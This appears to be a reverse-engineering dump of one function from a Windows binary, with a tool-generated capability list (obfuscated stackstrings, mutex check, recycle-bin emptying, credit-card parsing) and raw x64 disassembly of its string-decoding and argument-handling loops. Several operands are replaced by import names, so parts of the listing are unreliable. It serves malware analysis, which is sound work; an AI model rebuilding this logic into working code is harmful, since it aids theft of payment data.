Function at 0x14000f420
Capabilities:
Accept command line arguments
Check mutex on windows
Contain obfuscated stackstrings
Empty the recycle bin
Encode data using base64
Get system information on windows
Identify system language via api
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x168
movaps xmmword [rsp + 0x150], xmm6
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x98], rax
mov qword [0x140051e88], 0
lea rax, [0x140051e88]
mov qword [0x140051e90], rax
mov qword [0x140051e98], 0
lea rax, [0x140051e98]
mov qword [0x140051ea0], rax
mov byte [rsp + 0x20], 0
lea r8, [rsp + 0x21]
mov byte [rsp + 0x21], 0x3a
mov byte [rsp + 0x22], 0x49
mov byte [rsp + 0x23], gethostbyname
mov byte [rsp + 0x24], 0x26
mov byte [rsp + 0x25], 0x2b
mov byte [rsp + 0x26], 0x67
mov byte [rsp + 0x27], 0x7d
mov byte [rsp + 0x28], setsockopt
mov byte [rsp + 0x29], 0x7d
mov byte [rsp + 0x2a], setsockopt
mov byte [rsp + 0x2b], 0x7d
mov byte [rsp + 0x2c], reloc.WS2_32.dll_shutdown
mov byte [rsp + 0x2d], 0x1f
mov al, byte [rsp + 0x20]
test al, 1
jne 0x14000f574
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x20]
movzx ecx, cl
imul ecx, ecx, 0x33
mov edx, ecx
add edx, 0xfffff9d3
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff9d3
movzx edx, dx
mov ebp, edx
shr ebp, 0xf
shr edx, 6
add edx, ebp
mov ebp, edx
shl ebp, 7
sub edx, ebp
add ecx, edx
add ecx, 0xfffff9d3
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x20], cl
add rax, 1
cmp rax, 0xe
jne 0x14000f500
mov r12d, 1
xor ecx, ecx
mov edx, 1
call qword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x1400109b9
call qword [sym.imp.KERNEL32.DLL_GetCommandLineW]
mov dword [rsp + 0x120], 0
lea rdx, [rsp + 0x120]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test rax, rax
je 0x14001059f
mov r15, rax
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 0x3c
mov byte [rsp + 0x22], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x23], WSAGetLastError
mov byte [rsp + 0x24], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x25], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x26], reloc.WS2_32.dll_gethostbyname
mov al, byte [rsp + 0x20]
test al, 1
jne 0x14000f861
mov al, byte [rsp + 0x21]
movzx eax, al
imul eax, eax, 0xffffffd6
mov ecx, eax
add ecx, 0x888
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x888
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x888
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x21], al
mov al, byte [rsp + 0x22]
movzx eax, al
imul eax, eax, 0xffffffd6
mov ecx, eax
add ecx, 0x888
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x888
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x888
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x22], al
mov al, byte [rsp + 0x23]
movzx eax, al
imul eax, eax, 0xffffffd6
mov ecx, eax
add ecx, 0x888
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x888
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x888
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x23], al
mov al, byte [rsp + 0x24]
movzx eax, al
imul eax, eax, 0xffffffd6
mov ecx, eax
add ecx, 0x888
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x888
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x888
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x24], al
mov al, byte [rsp + 0x25]
movzx eax, al
imul eax, eax, 0xffffffd6
mov ecx, eax
add ecx, 0x888
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x888
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x888
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x25], al
mov al, byte [rsp + 0x26]
movzx eax, al
imul eax, eax, 0xffffffd6
mov ecx, eax
add ecx, 0x888
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x888
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x888
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x26], al
mov edi, dword [rsp + 0x120]
cmp edi, 2
jl 0x14000f8cb
lea r14, [rsp + 0x21]
mov ebp, 1
sub rbp, rdi
mov ebx, 2
mov rsi, qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
xor eax, eax
mov qword [rsp + 0x80], rax
jmp 0x14000f8b2
lea rax, [rbx + rbp]
add rax, 1
add rbx, 1
cmp rax, 2
je 0x14000f8d5
mov rcx, qword [r15 + rbx*8 - 8]
mov rdx, r14
call rsi
test eax, eax
jne 0x14000f8a0
cmp rbx, rdi
jae 0x14000f8a0
mov rax, qword [r15 + rbx*8]
jmp 0x14000f8cd
xor eax, eax
mov qword [rsp + 0x80], rax
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], setsockopt
mov byte [rsp + 0x22], 0x3d
mov byte [rsp + 0x23], 0x76
mov byte [rsp + 0x24], 0x3d
mov byte [rsp + 0x25], 0x3d
mov byte [rsp + 0x26], 0x3d
mov al, byte [rsp + 0x20]
test al, 1
jne 0x14000fb6e
mov al, byte [rsp + 0x21]
movzx eax, al
imul eax, eax, 0xffffffe5
mov ecx, eax
add ecx, 0x66f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x66f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x66f
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x21], al
mov al, byte [rsp + 0x22]
movzx eax, al
imul eax, eax, 0xffffffe5
mov ecx, eax
add ecx, 0x66f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x66f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x66f
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x22], al
mov al, byte [rsp + 0x23]
movzx eax, al
imul eax, eax, 0xffffffe5
mov ecx, eax
add ecx, 0x66f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x66f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x66f
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x23], al
mov al, byte [rsp + 0x24]
movzx eax, al
imul eax, eax, 0xffffffe5
mov ecx, eax
add ecx, 0x66f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x66f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x66f
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x24], al
mov al, byte [rsp + 0x25]
movzx eax, al
imul eax, eax, 0xffffffe5
mov ecx, eax
add ecx, 0x66f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x66f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x66f
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x25], al
mov al, byte [rsp + 0x26]
movzx eax, al
imul eax, eax, 0xffffffe5
mov ecx, eax
add ecx, 0x66f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x66f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x66f
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x26], al
mov edi, dword [rsp + 0x120]
cmp edi, 2
jl 0x14000fbcb
lea r14, [rsp + 0x21]
mov ebp, 1
sub rbp, rdi
mov ebx, 2
mov rsi, qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
xor eax, eax
mov qword [rsp + 0x88], rax
jmp 0x14000fbb2
lea rax, [rbx + rbp]
add rax, 1
add rbx, 1
cmp rax, 2
je 0x14000fbd5
mov rcx, qword [r15 + rbx*8 - 8]
mov rdx, r14
call rsi
test eax, eax
jne 0x14000fba0
cmp rbx, rdi
jae 0x14000fba0
mov rax, qword [r15 + rbx*8]
jmp 0x14000fbcd
xor eax, eax
mov qword [rsp + 0x88], rax
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 0x40
mov byte [rsp + 0x22], 0x62
mov byte [rsp + 0x23], 0xa
mov byte [rsp + 0x24], 0x62
mov byte [rsp + 0x25], 0x62
mov byte [rsp + 0x26], 0x62
mov al, byte [rsp + 0x20]
test al, 1
jne 0x14000fe6a
mov al, byte [rsp + 0x21]
movzx eax, al
shl eax, 2
lea ecx, [rax + rax*4]
mov eax, 0x7a8
mov edx, 0x7a8
sub edx, ecx
movsx ebp, dx
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
movzx ebp, bp
mov edx, ebp
shr edx, 0xf
shr ebp, 6
add ebp, edx
mov edx, ebp
shl edx, 7
add edx, ecx
sub ebp, edx
add ebp, 0x7a8
add bpl, 0x7f
movzx ecx, bpl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + 0x21], cl
mov cl, byte [rsp + 0x22]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x7a8
sub edx, ecx
movsx ebp, dx
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
movzx ebp, bp
mov edx, ebp
shr edx, 0xf
shr ebp, 6
add ebp, edx
mov edx, ebp
shl edx, 7
add edx, ecx
sub ebp, edx
add ebp, 0x7a8
add bpl, 0x7f
movzx ecx, bpl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + 0x22], cl
mov cl, byte [rsp + 0x23]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x7a8
sub edx, ecx
movsx ebp, dx
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
movzx ebp, bp
mov edx, ebp
shr edx, 0xf
shr ebp, 6
add ebp, edx
mov edx, ebp
shl edx, 7
add edx, ecx
sub ebp, edx
add ebp, 0x7a8
add bpl, 0x7f
movzx ecx, bpl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + 0x23], cl
mov cl, byte [rsp + 0x24]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x7a8
sub edx, ecx
movsx ebp, dx
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
movzx ebp, bp
mov edx, ebp
shr edx, 0xf
shr ebp, 6
add ebp, edx
mov edx, ebp
shl edx, 7
add edx, ecx
sub ebp, edx
add ebp, 0x7a8
add bpl, 0x7f
movzx ecx, bpl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + 0x24], cl
mov cl, byte [rsp + 0x25]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x7a8
sub edx, ecx
movsx ebp, dx
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
movzx ebp, bp
mov edx, ebp
shr edx, 0xf
shr ebp, 6
add ebp, edx
mov edx, ebp
shl edx, 7
add edx, ecx
sub ebp, edx
add ebp, 0x7a8
add bpl, 0x7f
movzx ecx, bpl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + 0x25], cl
mov cl, byte [rsp + 0x26]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
sub eax, ecx
movsx edx, ax
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, eax
movzx eax, dx
mov edx, eax
shr edx, 0xf
shr eax, 6
add eax, edx
mov edx, eax
shl edx, 7
add edx, ecx
sub eax, edx
add eax, 0x7a8
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rsp + 0x26], al
mov ebp, dword [rsp + 0x120]
cmp ebp, 2
jl 0x14000fecb
lea r13, [rsp + 0x21]
mov esi, 1
sub rsi, rbp
mov ebx, 2
mov rdi, qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
xor r14d, r14d
jmp 0x14000feb2
lea rax, [rsi + rbx]
add rax, 1
add rbx, 1
cmp rax, 2
je 0x14000fece
mov rcx, qword [r15 + rbx*8 - 8]
mov rdx, r13
call rdi
test eax, eax
jne 0x14000fea0
cmp rbx, rbp
jae 0x14000fea0
mov r14, qword [r15 + rbx*8]
jmp 0x14000fece
xor r14d, r14d
mov byte [rsp + 0x20], 0
mov byte [rsp + 0x21], 0x4d
mov byte [rsp + 0x22], 0x4f
mov byte [rsp + 0x23], 0x7d
mov byte [rsp + 0x24], 0x4f
mov byte [rsp + 0x25], 0x5b
mov byte [rsp + 0x26], 0x4f
mov byte [rsp + 0x27], 0x61
mov byte [rsp + 0x28], 0x4f
mov byte [rsp + 0x29], 0x4f
mov byte [rsp + 0x2a], 0x4f
lea rcx, [rsp + 0x20]
call fcn.1400130c0
mov edi, dword [rsp + 0x120]
cmp edi, 2
jl 0x14000ff72
mov rbp, rax
mov esi, 1
sub rsi, rdi
mov ebx, 2
mov r12, qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
xor r13d, r13d
jmp 0x14000ff52
lea rax, [rsi + rbx]
add rax, 1
add rbx, 1
cmp rax, 2
je 0x14000ff6a
mov rcx, qword [r15 + rbx*8 - 8]
mov rdx, rbp
call r12
test eax, eax
jne 0x14000ff40
cmp rbx, rdi
jae 0x14000ff40
mov r13, qword [r15 + rbx*8]
mov r12d, 1
jmp 0x14000ff75
xor r13d, r13d
test r14, r14
mov rsi, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
je 0x140010441
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x21]
mov byte [rsp + 0x21], 6
mov byte [rsp + 0x22], 0x2e
mov byte [rsp + 0x23], shutdown
mov byte [rsp + 0x24], 0x2e
mov byte [rsp + 0x25], 0x5e
mov byte [rsp + 0x26], 0x2e
mov byte [rsp + 0x27], 0x2b
mov byte [rsp + 0x28], 0x2e
mov byte [rsp + 0x29], 6
mov byte [rsp + 0x2a], 0x2e
mov byte [rsp + 0x2b], 0x2e
mov byte [rsp + 0x2c], 0x2e
mov al, byte [rsp + 0x20]
test al, 1
jne 0x140010066
mov eax, 1
nop word cs:[rax + rax]
nop
movzx ecx, byte [rsp + rax + 0x20]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea ebp, [rcx + rcx]
add ebp, 0xfffffe34
movsx ebp, bp
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
lea ebp, [rbp + rcx*2 - 0x1cc]
movzx ebp, bp
mov ebx, ebp
shr ebx, 0xf
shr ebp, 6
add ebp, ebx
mov ebx, ebp
shl ebx, 7
sub ebp, ebx
lea ecx, [rbp + rcx*2 - 0x1cc]
add cl, 0x7f
movzx ecx, cl
lea ebp, [rcx + rcx*2]
shr ebp, 8
mov ebx, ecx
sub bl, bpl
shr bl, 1
add bl, bpl
shr bl, 6
movzx ebx, bl
mov ebp, ebx
shl ebp, 7
sub ebp, ebx
sub cl, bpl
mov byte [rsp + rax + 0x20], cl
add rax, 1
cmp rax, 0xd
jne 0x14000fff0
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x140010431
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x21]
mov byte [rsp + 0x21], gethostname
mov byte [rsp + 0x22], 0x29
mov byte [rsp + 0x23], 0x1f
mov byte [rsp + 0x24], 0x29
mov byte [rsp + 0x25], 0x1b
mov byte [rsp + 0x26], 0x29
mov byte [rsp + 0x27], 0x29
mov byte [rsp + 0x28], 0x29
mov al, byte [rsp + 0x20]
test al, 1
jne 0x14001041d
mov al, byte [rsp + 0x21]
movzx eax, al
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
lea ebp, [rax + rcx]
add ebp, 0xfffffb84
add eax, ecx
movsx ecx, bp
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffb84
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add eax, ecx
add eax, 0xfffffb84
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebp, bl
mov ecx, ebp
shl ecx, 7
sub ecx, ebp
sub al, cl
mov byte [rsp + 0x21], al
mov al, byte [rsp + 0x22]
movzx eax, al
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
lea ebp, [rax + rcx]
add ebp, 0xfffffb84
add eax, ecx
movsx ecx, bp
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffb84
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add eax, ecx
add eax, 0xfffffb84
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebp, bl
mov ecx, ebp
shl ecx, 7
sub ecx, ebp
sub al, cl
mov byte [rsp + 0x22], al
mov al, byte [rsp + 0x23]
movzx eax, al
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
lea ebp, [rax + rcx]
add ebp, 0xfffffb84
add eax, ecx
movsx ecx, bp
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffb84
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add eax, ecx
add eax, 0xfffffb84
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebp, bl
mov ecx, ebp
shl ecx, 7
sub ecx, ebp
sub al, cl
mov byte [rsp + 0x23], al
mov al, byte [rsp + 0x24]
movzx eax, al
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
lea ebp, [rax + rcx]
add ebp, 0xfffffb84
add eax, ecx
movsx ecx, bp
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffb84
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add eax, ecx
add eax, 0xfffffb84
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebp, bl
mov ecx, ebp
shl ecx, 7
sub ecx, ebp
sub al, cl
mov byte [rsp + 0x24], al
mov al, byte [rsp + 0x25]
movzx eax, al
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
lea ebp, [rax + rcx]
add ebp, 0xfffffb84
add eax, ecx
movsx ecx, bp
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffb84
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add eax, ecx
add eax, 0xfffffb84
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebp, bl
mov ecx, ebp
shl ecx, 7
sub ecx, ebp
sub al, cl
mov byte [rsp + 0x25], al
mov al, byte [rsp + 0x26]
movzx eax, al
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
lea ebp, [rax + rcx]
add ebp, 0xfffffb84
add eax, ecx
movsx ecx, bp
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffb84
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add eax, ecx
add eax, 0xfffffb84
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebp, bl
mov ecx, ebp
shl ecx, 7
sub ecx, ebp
sub al, cl
mov byte [rsp + 0x26], al
mov al, byte [rsp + 0x27]
movzx eax, al
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
lea ebp, [rax + rcx]
add ebp, 0xfffffb84
add eax, ecx
movsx ecx, bp
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffb84
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add eax, ecx
add eax, 0xfffffb84
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebp, bl
mov ecx, ebp
shl ecx, 7
sub ecx, ebp
sub al, cl
mov byte [rsp + 0x27], al
mov al, byte [rsp + 0x28]
movzx eax, al
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
lea ebp, [rax + rcx]
add ebp, 0xfffffb84
add eax, ecx
movsx ecx, bp
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffb84
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add eax, ecx
add eax, 0xfffffb84
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov ebx, eax
sub bl, cl
shr bl, 1
add bl, cl
shr bl, 6
movzx ebp, bl
mov ecx, ebp
shl ecx, 7
sub ecx, ebp
sub al, cl
mov byte [rsp + 0x28], al
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x140010441
mov ecx, reloc.WS2_32.dll_inet_ntoa
jmp 0x140010436
mov ecx, inet_ntoa
mov dword [0x1400503b0], ecx
call fcn.1400096a0
test rsi, rsi
je 0x140010469
mov dword [0x1400503b0], 0xe
mov ecx, 0xe
call fcn.1400096a0
lea rdx, [0x140051e98]
mov rcx, rsi
call fcn.140013560
test rdi, rdi
je 0x140010491
mov dword [0x1400503b0], 0xd
mov ecx, 0xd
call fcn.1400096a0
lea rdx, [0x140051e88]
mov rcx, rdi
call fcn.140013560
test r13, r13
je 0x14001059f
mov byte [rsp + 0x20], 0
lea rdx, [rsp + 0x21]
mov byte [rsp + 0x21], 0x26
mov byte [rsp + 0x22], 0x6a
mov byte [rsp + 0x23], 0x2a
mov byte [rsp + 0x24], 0x6a
mov byte [rsp + 0x25], 8
mov byte [rsp + 0x26], 0x6a
mov byte [rsp + 0x27], 0x4f
mov byte [rsp + 0x28], 0x6a
mov byte [rsp + 0x29], 0x1b
mov byte [rsp + 0x2a], 0x6a
mov byte [rsp + 0x2b], 0x26
mov byte [rsp + 0x2c], 0x6a
mov byte [rsp + 0x2d], 0x5e
mov byte [rsp + 0x2e], 0x6a
mov byte [rsp + 0x2f], 0x6a
mov byte [rsp + 0x30], 0x6a
mov al, byte [rsp + 0x20]
test al, 1
jne 0x14001058d
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x21]
movzx ebp, cl
mov ecx, ebp
shl ecx, 5
lea ebx, [rcx + rbp*2]
lea ecx, [rcx + rbp*2]
add ecx, 0xfffff1ec
